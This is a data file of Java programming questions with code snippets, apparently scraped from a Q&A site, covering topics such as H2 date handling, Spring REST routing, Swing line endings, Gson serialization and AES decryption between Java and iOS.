a Issue ticket on the H2 project .","private void doIt ( ) { System.out.println ( `` BASIL - Running doIt . '' ) ; try { Class.forName ( `` org.h2.Driver '' ) ; } catch ( ClassNotFoundException e ) { e.printStackTrace ( ) ; } try ( Connection conn = DriverManager.getConnection ( `` jdbc : h2 : mem : '' ) ; // Unnamed throw-away in-memory database . ) { conn.setAutoCommit ( true ) ; String sqlCreate = `` CREATE TABLE history ( id IDENTITY , when DATE ) ; `` ; String sqlInsert = `` INSERT INTO history ( when ) VALUES ( ? ) ; `` ; String sqlQueryAll = `` SELECT * FROM history ; `` ; PreparedStatement psCreate = conn.prepareStatement ( sqlCreate ) ; psCreate.executeUpdate ( ) ; PreparedStatement psInsert = conn.prepareStatement ( sqlInsert ) ; psInsert.setObject ( 1 , LocalDate.of ( 2017 , 1 , 23 ) ) ; psInsert.executeUpdate ( ) ; psInsert.setObject ( 1 , LocalDate.of ( -509 , 1 , 1 ) ) ; psInsert.executeUpdate ( ) ; PreparedStatement psQueryAll = conn.prepareStatement ( sqlQueryAll ) ; ResultSet rs = psQueryAll.executeQuery ( ) ; while ( rs.next ( ) ) { long l = rs.getLong ( 1 ) ; // Identity column . // Retrieve the same date value in three different ways . LocalDate ld = rs.getObject ( 2 , LocalDate.class ) ; // Extract a ` LocalDate ` , and implicitly call its ` toString ` method that uses standard ISO 8601 formatting . String s = rs.getString ( 2 ) ; // Extract the date value as text from the database using the database-engine ’ s own formatting . int y = ( ( LocalDate ) rs.getObject ( 2 , LocalDate.class ) ) .getYear ( ) ; // Extract the year number as an integer from a ` LocalDate ` object . String output = `` ROW : `` + l+ `` | `` + ld + `` | when as String : `` + s+ `` | year : `` + y ; System.out.println ( output ) ; } conn.close ( ) ; } catch ( SQLException e ) { e.printStackTrace ( ) ; } } LocalDate ld = LocalDate.of ( -509 , 1 , 1 ) ; System.out.println ( `` ld.toString ( ) : `` + ld ) ; System.out.println ( `` ld.getYear ( ) : `` + ld.getYear ( ) ) ;",Year changing from negative -509 to a positive 510 in JDBC with H2 Database +Java,"I 'm writing a Scala class that implements ( wraps ) a java.util.List , i.e . : The latter has a method toArray with a Java signature like this : Naively , I wrote this as : but the compiler complains that the call to toArray on backingList expects an Array [ ? with java.lang.Object ] .I think I 've tried every possible variation over things like Array [ _ > : T with Object ] ( which the compiler kindly suggests ) , but no luck . Any suggestions ?",class MyList ( backingList : java.util.List ) extends java.util.List < T > T [ ] toArray ( T [ ] a ) def toArray [ T ] ( a : Array [ T ] ) = backingList toArray a,Delegate java.util.List # toArray ( T [ ] a ) in Scala +Java,im quite new with REST-API . i want to have something like this Where the following controllers handle /posts and another controller handler /commentsPostsController.javaCommentsController.javaHow do i maintain the above url whilst having different controllers to handle it ?,POST http : //localhost/posts/ < -- - PostsController.javaGET http : //localhost/posts/ { id } < -- - PostsController.javaPOST http : //localhost/posts/ { id } /comments < -- - CommentsController.javaGET http : //localhost/posts/ { id } /comments < -- - CommentsController.javaGET http : //localhost/posts/ { id } /comments/ { id } < -- - CommentsController.java @ RestController @ RequestMapping ( `` /posts '' ) public class PostsController { // something } @ RestController @ RequestMapping ( `` /comments '' ) public class CommentsController { //do something },How to properly structure REST-API endpoints +Java,"I have a task that needs to be done but I am really stuck . Basically , I 've some inheritance relations like this : AnimalPet WildAnimalBird Cat Dog Fish ||Snake EagleAnimal is the parent of Pet and Wild Animal . Pet is the parent of Bird , Cat , Dog , Fish.WildAnimal is the parent of Snake and Eagle . The task wants me to read inputs from a file which is `` input.txt '' and create Animal objects . `` input.txt '' is like : kiwi Bird charlie Eagle mango Fish pepper Dogangle Cattweety Birdbob Dogziggy SnakeI can get all of the names but I could n't figure out how to understand which kind of object every single name represent . Here is the main method : Here is the animal class : } I can add all the other classes if you want but i do n't think you 're gon na need them .","public static void main ( String [ ] args ) throws IOException { String s = '' '' ; int nameCounter = 0 ; Animal [ ] animals = new Animal [ 100 ] ; try { Scanner input = new Scanner ( Paths.get ( `` input.txt '' ) ) ; while ( input.hasNext ( ) ) { s = input.next ( ) ; Animal animal = new Animal ( s ) ; animals [ nameCounter ] = animal ; nameCounter += 2 ; } } catch ( Exception e ) { e.printStackTrace ( ) ; } } public class Animal { private String name ; private int numberOfLegs ; private int numberOfWings ; public Animal ( String name ) { this.name = name ; numberOfLegs = 4 ; numberOfWings = 0 ; } public String getName ( ) { return name ; } public void setName ( String name ) { this.name = name ; } public int getNumberOfLegs ( ) { return numberOfLegs ; } public void setNumberOfLegs ( int numberOfLegs ) { this.numberOfLegs = numberOfLegs ; } public int getNumberOfWings ( ) { return numberOfWings ; } public void setNumberOfWings ( int numberOfWings ) { this.numberOfWings = numberOfWings ; } public void talk ( ) { System.out.printf ( `` < Silence > '' ) ; } public void fly ( ) { System.out.printf ( `` % s can not fly '' , getName ( ) ) ; } public void run ( ) { System.out.printf ( `` % s is running '' , getName ( ) ) ; }",Creating Objects According to an Input File +Java,I 'm very uncertain about this two topics . I know that i should use multi-catch for exceptions which need to handle the same way . But for what purpose do i really need something like that .,"private void something ( String name ) throws IOException , RemoteException { try { ... } catch ( Exception ex ) { ... // do something throw ex ; } }",When to use multi-catch and when to use rethrow ? +Java,"This give an error in eclipse IDE . ( Error symbol appearing near the line number ) After this i have done some stuff like initialing the array and so on . But according to some conditions . So I want to use a conditional operator like below.If I put my casting just after the equal sign , it works well . ( wrapping the full ternary operation ) What is the purpose of this error to be come like this ?",String [ ] allText = null ; List < String > finalText = ( allText ! = null ) ? Arrays.asList ( allText ) : ( List < String > ) Collections.emptyList ( ) ; List < String > allHotels = ( List < String > ) ( ( allText ! = null ) ? Arrays.asList ( allText ) : Collections.emptyList ( ) ) ;,casting inside conditional operator in Java +Java,"It seems that stroking on sub-pixel coordinates became broken in Java 8.I have three sets of cases , shown on screenshots ( columns represent cases , rows represent different stroke widths ) : Java 7u51 ( 400 % scale ) Java 8u60 ( 400 % scale ) Fill and stroke on the same coordinates . Works as intended , stroked area is larger than the filling area.Stroking is shrunk ( by stroke width ) and centered ( by half of the width ) to be inside bounds of the filling region . This part is broken in Java 8 for 1px stroke , where painting occurs on a sub-pixel coordinate ( first row ) ; 3px stroke does n't have this problem ( third row ) . It seems that 0.5 is rounded up for the 1px stroke.Filling rectangle is shrunk an centered the same way of case 2 . I need this on graphics , which support sub-pixel drawing , to make non-overlapping fill when cells are overlapping . Here you can see that fill operation rounds down 0.5 to 0 , so it 's only stroking problem.The code is below : As I tested , Java 7 does n't have this problem ( tried on 7u51 ) , Windows ( 8u77 ) and Mac ( 8u60 ) too . Tried on Ubuntu ( 8u60 and 8u77 ) and Linux Mint ( 8u60 ) on different machines and the bug was here.Did anyone faced such issue ? Is there any general workaround ? I can not simply handle 1px case in places where stroking is used . It 's because there is a lot of places and I 'm working with different Graphics2D implementations and it seems , that from what I 've used the issue reproduces only on SunGraphics2D . This means I need to use instanceOf in these places to not break common logic .","import static java.awt.BasicStroke . * ; import java.awt . * ; import java.awt.geom . * ; import javax.swing . * ; public class TestCase { public static void main ( String [ ] args ) { JFrame frame = new JFrame ( `` Test case '' ) ; frame.setSize ( 115 , 115 ) ; frame.setDefaultCloseOperation ( WindowConstants.EXIT_ON_CLOSE ) ; frame.getContentPane ( ) .add ( new TestPanel ( ) ) ; frame.setVisible ( true ) ; } private static class TestPanel extends JPanel { TestPanel ( ) { setOpaque ( true ) ; } @ Override protected void paintComponent ( Graphics g ) { Graphics2D g2 = ( Graphics2D ) g ; g2.setColor ( Color.white ) ; g2.fill ( getBounds ( ) ) ; Rectangle2D rect = new Rectangle2D.Double ( ) ; Color background = new Color ( 0 , 255 , 255 ) ; Color border = new Color ( 255 , 0 , 0 , 128 ) ; Stroke STROKE_1PX = new BasicStroke ( 1 , CAP_SQUARE , JOIN_MITER ) ; Stroke STROKE_2PX = new BasicStroke ( 2 , CAP_SQUARE , JOIN_MITER ) ; Stroke STROKE_3PX = new BasicStroke ( 3 , CAP_SQUARE , JOIN_MITER ) ; g2.translate ( 10 , 10 ) ; /** * Filling and stroking by original coordinates */ rect.setRect ( 0 , 0 , 25 , 25 ) ; g2.setColor ( background ) ; g2.fill ( rect ) ; g2.setColor ( border ) ; g2.setStroke ( STROKE_1PX ) ; g2.draw ( rect ) ; g2.translate ( 0 , 35 ) ; g2.setColor ( background ) ; g2.fill ( rect ) ; g2.setColor ( border ) ; g2.setStroke ( STROKE_2PX ) ; g2.draw ( rect ) ; g2.translate ( 0 , 35 ) ; g2.setColor ( background ) ; g2.fill ( rect ) ; g2.setColor ( border ) ; g2.setStroke ( STROKE_3PX ) ; g2.draw ( rect ) ; /** * Stroking is shrunk to be inside the filling rect */ g2.translate ( 35 , -70 ) ; rect.setRect ( 0 , 0 , 25 , 25 ) ; g2.setColor ( background ) ; g2.fill ( rect ) ; rect.setRect ( 0.5 , 0.5 , 24 , 24 ) ; g2.setColor ( border ) ; g2.setStroke ( STROKE_1PX ) ; g2.draw ( rect ) ; g2.translate ( 0 , 35 ) ; rect.setRect ( 0 , 0 , 25 , 25 ) ; g2.setColor ( background ) ; g2.fill ( rect ) ; rect.setRect ( 1 , 1 , 23 , 23 ) ; g2.setColor ( border ) ; g2.setStroke ( STROKE_2PX ) ; g2.draw ( rect ) ; g2.translate ( 0 , 35 ) ; rect.setRect ( 0 , 0 , 25 , 25 ) ; g2.setColor ( background ) ; g2.fill ( rect ) ; rect.setRect ( 1.5 , 1.5 , 22 , 22 ) ; g2.setColor ( border ) ; g2.setStroke ( STROKE_3PX ) ; g2.draw ( rect ) ; /** * Filling rect is additionally shrunk and centered */ g2.translate ( 35 , -70 ) ; rect.setRect ( 0.5 , 0.5 , 24 , 24 ) ; g2.setColor ( background ) ; g2.fill ( rect ) ; g2.setColor ( border ) ; g2.setStroke ( STROKE_1PX ) ; g2.draw ( rect ) ; g2.translate ( 0 , 35 ) ; rect.setRect ( 1 , 1 , 23 , 23 ) ; g2.setColor ( background ) ; g2.fill ( rect ) ; g2.setColor ( border ) ; g2.setStroke ( STROKE_2PX ) ; g2.draw ( rect ) ; g2.translate ( 0 , 35 ) ; rect.setRect ( 1.5 , 1.5 , 22 , 22 ) ; g2.setColor ( background ) ; g2.fill ( rect ) ; g2.setColor ( border ) ; g2.setStroke ( STROKE_3PX ) ; g2.draw ( rect ) ; } } }",Java 8 graphics glitch when stroking sub-pixel coordinates on Linux +Java,"When defining Predicate 's or Function 's , I used to create them as static finalHowever I have noticed that there is a lot of use also with enum version , for exampleI am aware about the enum vs static final topics , but is there any real advantage of using enum 's over static final with predicates or functions ?",private static final Predicate < SomeDto > SOME_PREDICATE = new Predicate < SomeDto > ( ) { @ Override public boolean apply ( SomeDto input ) { return input.isValid ( ) ; } } private enum SomePredicate implements Predicate < SomeDto > { INSTANCE ; @ Override public boolean apply ( SomeDto input ) { return input.isValid ( ) ; } },Correct way to define Predicates and Functions +Java,"Well the title basically says it all , with the small addition that I would really like to know when to use them . And it might be simple enough - I 've read the documentation for them both , still ca n't tell the difference much . There are answers like this here that basically say : Yielding also was useful for busy waiting ... I ca n't agree much with them for the simple reason that ForkJoinPool uses Thread : :yield internally and that is a pretty recent addition in the jdk world . The thing that really bothers me is usages like this in jdk too ( StampledLock : :tryDecReaderOverflow ) : So it seems there are cases when one would be preferred over the other . And no , I do n't have an actual example where I might need this - the only one I actually used was Thread : :onSpinWait because 1 ) I happened to busy wait 2 ) the name is pretty much self explanatory that I should have used it in the busy spin .",else if ( ( LockSupport.nextSecondarySeed ( ) & OVERFLOW_YIELD_RATE ) == 0 ) Thread.yield ( ) ; else Thread.onSpinWait ( ) ; return 0L ;,Thread : :yield vs Thread : :onSpinWait +Java,"I think the common idiom for creating instances of java.util.logging.Logger is this : My IDE will manage changing the line appropriately when I refactor my code ( change the name of the class , for example ) . It still bugs me that I have to repeat the name of the class , though . What I 'd really like to do is something like Logger.getLogger ( getName ( ) ) or Logger.getLogger ( class.getName ( ) ) , but this is n't legal Java in a static initilization.Is there a better way of getting at a logger that does n't involve repeating myself ?",public class SomeClassName { private static final Logger LOG = Logger.getLogger ( SomeClassName.class.getName ( ) ) ; },How do you avoid repeating yourself when creating a logger ? +Java,"It has recently come to my attention that Java text components use line feed characters ( LF , \n , 0x0A ) to represent and interpret line breaks internally . This came as quite a surprise to me and puts my assumption , that using System.getProperty ( 'line.separator ' ) everywhere is a good practice , under a question mark.It would appear that whenever you are dealing with a text component you should be very careful when using the mentioned property , since if you use JTextComponent.setText ( String ) you might end up with a component that contains invisible newlines ( CRs for example ) . This might not seem that important , unless the content of the text component can be saved to a file . If you save and open the text to a file using the methods that are provided by all text components , your hidden newlines suddenly materialize in the component upon the file being re-opened . The reason for that seems to be that JTextComponent.read ( ... ) method does the normalization.So why does n't JTextComponent.setText ( String ) normalize line endings ? Or any other method that allows text to be modified within a text component for that matter ? Is using System.getProperty ( 'line.separator ' ) a good practice when dealing with text components ? Is it a good practice at all ? Some code to put this question into perspective : An example of what this program saves on my windows machine after adding a new line of text ( why the single CR ? o_O ) : Edit01I ran/debugged this from within Netbeans IDE , which uses JDK1.7u15 64bit ( C : \Program Files\Java\jdk1.7.0_15 ) on Windows 7 .","import java.awt.GridBagConstraints ; import java.awt.GridBagLayout ; import java.awt.Insets ; import java.awt.event.ActionEvent ; import java.io.File ; import java.io.FileInputStream ; import java.io.FileNotFoundException ; import java.io.FileOutputStream ; import java.io.IOException ; import java.io.InputStreamReader ; import java.io.OutputStreamWriter ; import java.io.Reader ; import java.io.UnsupportedEncodingException ; import java.io.Writer ; import javax.swing.AbstractAction ; import javax.swing.JButton ; import javax.swing.JFrame ; import javax.swing.JOptionPane ; import javax.swing.JScrollPane ; import javax.swing.JTextArea ; import javax.swing.SwingUtilities ; public class TextAreaTest extends JFrame { private JTextArea jtaInput ; private JScrollPane jscpInput ; private JButton jbSaveAndReopen ; public TextAreaTest ( ) { super ( ) ; setDefaultCloseOperation ( EXIT_ON_CLOSE ) ; setTitle ( `` Text Area Test '' ) ; GridBagLayout layout = new GridBagLayout ( ) ; setLayout ( layout ) ; jtaInput = new JTextArea ( ) ; jtaInput.setText ( `` Some text followed by a windows newline\r\n '' + `` and some more text . `` ) ; jscpInput = new JScrollPane ( jtaInput ) ; GridBagConstraints constraints = new GridBagConstraints ( ) ; constraints.gridx = 0 ; constraints.gridy = 0 ; constraints.gridwidth = 2 ; constraints.weightx = 1.0 ; constraints.weighty = 1.0 ; constraints.fill = GridBagConstraints.BOTH ; add ( jscpInput , constraints ) ; jbSaveAndReopen = new JButton ( new SaveAndReopenAction ( ) ) ; constraints = new GridBagConstraints ( ) ; constraints.gridx = 1 ; constraints.gridy = 1 ; constraints.anchor = GridBagConstraints.EAST ; constraints.insets = new Insets ( 5 , 0 , 2 , 2 ) ; add ( jbSaveAndReopen , constraints ) ; pack ( ) ; } public static void main ( String [ ] args ) { SwingUtilities.invokeLater ( new Runnable ( ) { public void run ( ) { TextAreaTest tat = new TextAreaTest ( ) ; tat.setVisible ( true ) ; } } ) ; } private class SaveAndReopenAction extends AbstractAction { private File file = new File ( `` text-area-test.txt '' ) ; public SaveAndReopenAction ( ) { super ( `` Save and Re-open '' ) ; } private void saveToFile ( ) throws UnsupportedEncodingException , FileNotFoundException , IOException { Writer writer = null ; try { writer = new OutputStreamWriter ( new FileOutputStream ( file ) , `` UTF-8 '' ) ; TextAreaTest.this.jtaInput.write ( writer ) ; } finally { if ( writer ! = null ) { try { writer.close ( ) ; } catch ( IOException ex ) { } } } } private void openFile ( ) throws UnsupportedEncodingException , IOException { Reader reader = null ; try { reader = new InputStreamReader ( new FileInputStream ( file ) , `` UTF-8 '' ) ; TextAreaTest.this.jtaInput.read ( reader , file ) ; } finally { if ( reader ! = null ) { try { reader.close ( ) ; } catch ( IOException ex ) { } } } } public void actionPerformed ( ActionEvent e ) { Throwable exc = null ; try { saveToFile ( ) ; openFile ( ) ; } catch ( UnsupportedEncodingException ex ) { exc = ex ; } catch ( FileNotFoundException ex ) { exc = ex ; } catch ( IOException ex ) { exc = ex ; } if ( exc ! = null ) { JOptionPane.showConfirmDialog ( TextAreaTest.this , exc.getMessage ( ) , `` An error occured '' , JOptionPane.DEFAULT_OPTION , JOptionPane.ERROR_MESSAGE ) ; } } } }",Why does n't JTextComponent.setText ( String ) normalize line endings ? +Java,"My question is not easy to explain using words , fortunately it 's not too difficult to demonstrate . So , bear with me : Basically , I want the generic `` process '' method to dictate the type of generic parameter of the Command object . The goal is to be able to restrict different implementations of CommandProcessor to certain classes that implement Command interface and at the same time to able to call the process method of any class that implements the CommandProcessor interface and have it return the object of type specified by the parametarized Command object . I 'm not sure if my explanation is clear enough , so please let me know if further explanation is needed . I guess , the question is `` Would this be possible to do , at all ? '' If the answer is `` No '' what would be the best work-around ( I thought of a couple on my own , but I 'd like some fresh ideas )","public interface Command < R > { public R execute ( ) ; //parameter R is the type of object that will be returned as the result of the execution of this command } public abstract class BasicCommand < R > implements Command < R > { } public interface CommandProcessor < C extends Command < ? > > { public < R > R process ( C < R > command ) ; //this is my question ... it 's illegal to do , but you understand the idea behind it , right ? } //constrain BasicCommandProcessor to commands that subclass BasicCommandpublic class BasicCommandProcessor < C extends BasicCommand < ? > > implements CommandProcessor < C > { //here , only subclasses of BasicCommand should be allowed as arguments but these //BasicCommand object should be parameterized by R , like so : BasicCommand < R > //so the method signature should really be // public < R > R process ( BasicCommand < R > command ) //which would break the inheritance if the interface 's method signature was instead : // public < R > R process ( Command < R > command ) ; //I really hope this fully illustrates my conundrum public < R > R process ( C < R > command ) { return command.execute ( ) ; } } public class CommandContext { public static void main ( String ... args ) { BasicCommandProcessor < BasicCommand < ? > > bcp = new BasicCommandProcessor < BasicCommand < ? > > ( ) ; String textResult = bcp.execute ( new BasicCommand < String > ( ) { public String execute ( ) { return `` result '' ; } } ) ; Long numericResult = bcp.execute ( new BasicCommand < Long > ( ) { public Long execute ( ) { return 123L ; } } ) ; } }",How to properly mix generics and inheritance to get the desired result ? +Java,"I am writing an abstract class and I have a variable that should be defined by the sub-class ( in this case it is an int which is used in the super-class ) . I ca n't decide whether to define a protected variable with a default value and let the sub-class change the value either in the constructor or through a setter method . Or to define an abstract method in the parent class such that all sub-classes must implement it and return the value they want to be used ( then access the method in the super-class using the abstract method ) . Can anyone tell me if there are any great reasons why one way should be preferred over the other ? Abstract Method : Pros : Forces sub-class to think about this value and choose what they want it to be.Cons : No default value , so even if most of the sub-classes just want to use the same value they still have to implement the method . ( The method can be made non-abstract and return the default value , but then you lose the advantage of forcing sub-classes to think about the value ) Protected Variable : Pros : Can define a default value and sub-classes can just ignore it if they do n't care.Cons : Authors of the sub-class are n't made aware of the existence of the variable , so they might be surprised by the default behaviour .",public abstract int getValue ( ) ; public int getValue ( ) { return 5 ; } protected int value ; public SubClassImpl ( ) { value = 5 ; },Should I use an abstract method or an instance variable for data that should be specified by sub-class ? +Java,"Consider the following piece of code ( which is n't quite what it seems at first glance ) .My question is : In order to be absolutely certain that `` Problem ! ! ! '' wo n't be printed , does the `` value '' variable in the NumberContainer class need to be marked volatile ? Let me explain how I currently understand this.In the first parallel stream , NumberContainer-123 ( say ) is incremented by ForkJoinWorker-1 ( say ) . So ForkJoinWorker-1 will have an up-to-date cache of NumberContainer-123.value , which is 1 . ( Other fork-join workers , however , will have out-of-date caches of NumberContainer-123.value - they will store the value 0 . At some point , these other workers ' caches will be updated , but this does n't happen straight away . ) The first parallel stream finishes , but the common fork-join pool worker threads are n't killed . The second parallel stream then starts , using the very same common fork-join pool worker threads . Suppose , now , that in the second parallel stream , the task of incrementing NumberContainer-123 is assigned to ForkJoinWorker-2 ( say ) . ForkJoinWorker-2 will have its own cached value of NumberContainer-123.value . If a long period of time has elapsed between the first and second increments of NumberContainer-123 , then presumably ForkJoinWorker-2 's cache of NumberContainer-123.value will be up-to-date , i.e . the value 1 will be stored , and everything is good . But what if the time elapsed between first and second increments if NumberContainer-123 is extremely short ? Then perhaps ForkJoinWorker-2 's cache of NumberContainer-123.value might be out of date , storing the value 0 , causing the code to fail ! Is my description above correct ? If so , can anyone please tell me what kind of time delay between the two incrementing operations is required to guarantee cache consistency between the threads ? Or if my understanding is wrong , then can someone please tell me what mechanism causes the thread-local caches to be `` flushed '' in between the first parallel stream and the second parallel stream ?",static class NumberContainer { int value = 0 ; void increment ( ) { value++ ; } int getValue ( ) { return value ; } } public static void main ( String [ ] args ) { List < NumberContainer > list = new ArrayList < > ( ) ; int numElements = 100000 ; for ( int i = 0 ; i < numElements ; i++ ) { list.add ( new NumberContainer ( ) ) ; } int numIterations = 10000 ; for ( int j = 0 ; j < numIterations ; j++ ) { list.parallelStream ( ) .forEach ( NumberContainer : :increment ) ; } list.forEach ( container - > { if ( container.getValue ( ) ! = numIterations ) { System.out.println ( `` Problem ! ! ! `` ) ; } } ) ; },Java - cache coherence between successive parallel streams ? +Java,"I have a project that sometimes uses multiple FF windows and sometimes multiple FF drivers.During init , I create a custom FirefoxProfile ( or load a default from Selenium without any changes ) , add it to DesiredCapabilities , add capabilities to FirefoxOptions and start FF with FirefoxOptions.Test case executes fine , until I need to close the window : orAfter either one of these pass , FF shuts down and `` Firefox has crashed '' popup appears . No exception is shown in logs.If I remove FirefoxProfile , no crash popup appears , but FirefoxProfile is needed to enable Flash support and do more.Using : Selenium 3.4.0 Firefox 54 ( 32 bit ) Geckodriver 0.17 ( 32 bit ) Windows 10 , 64bit // Windows 7 , 64bit",driver.getWindowHandles ( ) .forEach ( name - > driver.switchTo ( ) .window ( name ) .close ( ) ) ; driver.quit ( ) ;,Firefox crashes on driver last window close +Java,"The Problem : I have a bunch of DTOs with a structure like this : I need to serialize the Timestamps to two separate values ( one time call .toString ( ) and one time formatted according to ISO standard ) in order to be backward compatible with old API and also support a decent time format from now on.So the JSON output for Foobar should look like this : I am restricted to Gson due to existing code.Question : Is it possible to do this in a generic way , that will work for all my DTOs without changing the DTOs ? I want to avoid having to write a TypeAdapter/Serializer/new DTO for each of my existing DTOs.What I triedTypeAdapterI already tried to do it via a TypeAdapter and TypeAdapterFactory but I need the field name of the class in order to distinguish the two timestamps.write ( ... ) method of the TypeAdapter illustrating the issue I had with it ( T extends Timestamp ) : The Problem here is , that I did not find any way to get to the field name . I tried to get it with a TypeAdapterFactory but the factory does not know the field name either.JsonSerializerI also tried to do it via JsonSerializer , but it is not possible to return two JSON elements and returning a JsonObject would break existing API .","public class Foobar { private String name ; private Timestamp time1 ; private Timestamp time2 ; private int value ; } { `` name '' : '' < some name > '' , `` time1 '' : '' < some non standard time > '' , `` iso_time1 '' : '' < ISO formatted time > '' , `` time2 '' : '' < some non standard time > '' , `` iso_time2 '' : '' < ISO formatted time > '' , `` value '' : < some number > } @ Overridepublic void write ( final JsonWriter out , final T value ) throws IOException { out.value ( value.toString ( ) ) ; out.name ( TIMESTAMP_ISO_PREFIX + fieldName ) .value ( toISOFormat ( value ) ) ; }",Write two JSON entries from one Java field +Java,"I wrote a recursive method that gets all possible character combinations from the characters in a string . I also have a method to access it and return a list of the combos : When testing it in Java , it ran with no flaws . For some reason , when I use it in Android , the list is populated with the correct number of elements , but every element is the same . For instance , for the word `` here '' , it returns a list filled with `` eerh '' .","public static void uns ( String word , StringBuilder s , List combos ) { for ( char c : word.toCharArray ( ) ) { s.append ( c ) ; if ( word.length ( ) ! = 1 ) { uns ( removeChar ( word , c ) , s , combos ) ; } else { combos.add ( s.toString ( ) ) ; } s.deleteCharAt ( s.toString ( ) .length ( ) -1 ) ; } } public static List getCombinations ( String word ) { List < String > combinations = new ArrayList < String > ( ) ; uns ( word , new StringBuilder ( ) , combinations ) ; return combinations ; } public static String removeChar ( String s , char c ) { int index = s.indexOf ( c ) ; return s.substring ( 0 , index ) +s.substring ( index+1 ) ; }","Recursive method works in java with console , but not with android" +Java,"According to https : //gist.github.com/VineetReynolds/5108580 , JAXB Spec requires element annotated with @ XmlID to be a String . This has n't been enforced by MOXy in versions 2.5.x . With version 2.6.0 , however , it seems it 's not supported anymore.Is this a wanted behavior , or an unwanted regression ? What is the right way to avoid such error when migrating from MOXy 2.5.x ? Is it to use @ XmlJavaTypeAdapter as described in this post Marshaling a long primitive type using JAXB , which also affects the way how the object itself ( and its ID ) gets serialized to JSON ( e.g. , id field of type Long becomes a json string ?",[ Exception [ EclipseLink-50016 ] ( Eclipse Persistence Services - 2.6.0.v20150309-bf26070 ) : org.eclipse.persistence.exceptions.JAXBExceptionException Description : Property [ id ] has an XmlID annotation but its type is not String . ] **strong text**,Does MOXy support non-string @ XmlID in version 2.6.0 ? +Java,I have two almost identical code in java and kotlinJava : Kotlin : The java code pass the test with a huge input but the kotlin code cause a StackOverFlowError unless i added tailrec keyword before the helper function in kotlin.I want to know why this function works in java and also in kolin with tailrec but not in kotlin without tailrec ? P.S : i know what tailrec do,"public void reverseString ( char [ ] s ) { helper ( s , 0 , s.length - 1 ) ; } public void helper ( char [ ] s , int left , int right ) { if ( left > = right ) return ; char tmp = s [ left ] ; s [ left++ ] = s [ right ] ; s [ right -- ] = tmp ; helper ( s , left , right ) ; } fun reverseString ( s : CharArray ) : Unit { helper ( 0 , s.lastIndex , s ) } fun helper ( i : Int , j : Int , s : CharArray ) { if ( i > = j ) { return } val t = s [ j ] s [ j ] = s [ i ] s [ i ] = t helper ( i + 1 , j - 1 , s ) }",Recursive method call cause StackOverFlowError in kotlin but not in java +Java,"I was wondering why I can not remove elements from a list , when I 'm iterating it with a foreach-loop like : and then removing the elements like : It seems like the foreach-loop does n't allow to remove objects , which are `` still '' in the loop-queue . Am I correct ? And why does the for-int-loop does n't care about this ? In this loop I can easily remove objects , which are still in the loop.Thanks",List < Object > objects = new ArrayList < Object > ( ) ; Object one = new Object ( ) ; Object two = new Object ( ) ; Object three = new Object ( ) ; objects.add ( one ) ; objects.add ( two ) ; objects.add ( three ) ; foreach ( Object o : objects ) { objects.remove ( three ) ; //I know that o is my current object },Foreach against for ( int ... ) loop - why does foreach raises exceptions when removing elements ? +Java,"Often I find the need to engineer objects with configurable functionality . To exemplify , assume I 'm creating a DateIterator . The configurable option ( s ) might be whether to iterate the closed interval [ start , end ] or the open-end interval [ start , end ) . ( 1 ) The , in my opinion , ungraceful solution - limited to only one true/false configuration option ( 2 ) The typesafe enum way - typically a bit bulky ( 3 ) The unconventional attempt - nice but not too straight forward ( 4 ) The inheritance approach - often over-engineeringTo this comes a few alternatives which I consider inferior , like integer-based configuration new DateIterator ( Interval.OPEN_END ) ; or property based configuration . Are there any other approaches ? Which approach you do you prefer ?",new DateIterator ( boolean openInterval ) ; new DateIterator ( Interval.OPEN_END ) ; new DateIterator ( ) .openEnd ( ) ; new OpenEndedDateIterator ( ) ;,java configuration/parameter passing design +Java,when i select long text in my spinner then its create space between textView and spinnersee my default spinner : after selecting a long text it 's look like below shot : below is xml code : below code is style.xml : any one have any idea how to i fix itThanks in advance :,< TextView style= '' @ style/TextLabelBookGray '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : layout_gravity= '' center_vertical '' android : layout_weight= '' 1 '' android : text= '' @ string/hint_state '' android : textSize= '' @ dimen/_14ssp '' android : paddingLeft= '' @ dimen/_2sdp '' android : visibility= '' visible '' / > < android.support.v7.widget.AppCompatSpinner android : id= '' @ +id/spStates '' style= '' @ style/TextLabelBookBlack '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : layout_gravity= '' center_vertical '' android : layout_marginBottom= '' @ dimen/_4sdp '' android : layout_marginTop= '' @ dimen/_4sdp '' android : layout_weight= '' 1 '' android : entries= '' @ array/us_states '' / > < style name= '' TextLabelBookGray '' parent= '' FontBook '' > < item name= '' android : textSize '' > @ dimen/_14ssp < /item > < item name= '' android : textColor '' > @ color/input_color_gray < /item >,Select long text in spinner then create space +Java,I have an application which gets encrypted video in compressed mode from a Java server . On the iOS side I 'm not able to decrypt that.The code I using for encryption in Java is : My code for decryption in iOS is the following : What might be the problem here and how can I solve it ?,"// generate a key KeyGenerator keygen = KeyGenerator.getInstance ( `` AES '' ) ; keygen.init ( 128 ) ; // To use 256 bit keys , you need the `` unlimited strength '' encryption policy files from Sun . //byte [ ] key = keygen.generateKey ( ) .getEncoded ( ) ; byte key [ ] = { 0x00 , 0x01 , 0x02 , 0x11 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x0C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 } ; SecretKeySpec skeySpec = new SecretKeySpec ( key , `` AES '' ) ; SecureRandom random = new SecureRandom ( ) ; IvParameterSpec ivspec = new IvParameterSpec ( key ) ; // initialize the cipher for encrypt mode Cipher cipher = Cipher.getInstance ( `` AES/CBC/PKCS5Padding '' ) ; cipher.init ( Cipher.ENCRYPT_MODE , skeySpec , ivspec ) ; System.out.println ( ) ; byte [ ] encrypted = cipher.doFinal ( IOUtils.toByteArray ( new FileInputStream ( new File ( fileName ) ) ) ) ; char keyPtr [ kCCKeySizeAES256+1 ] ; bzero ( keyPtr , sizeof ( keyPtr ) ) ; [ key getCString : keyPtr maxLength : sizeof ( keyPtr ) encoding : NSUTF16StringEncoding ] ; Byte iv [ ] = { 0x00 , 0x01 , 0x02 , 0x11 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x0C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 } ; //unsigned char keyPtr [ kCCKeySizeAES128 ] = { 0x00 , 0x01 , 0x02 , 0x11 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x0C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 } ; NSData *passwordData = [ @ '' [ B @ 71e2b67c '' dataUsingEncoding : NSUTF8StringEncoding ] ; size_t numBytesEncrypted = 0 ; NSUInteger dataLength = [ self length ] ; size_t bufferSize = dataLength + 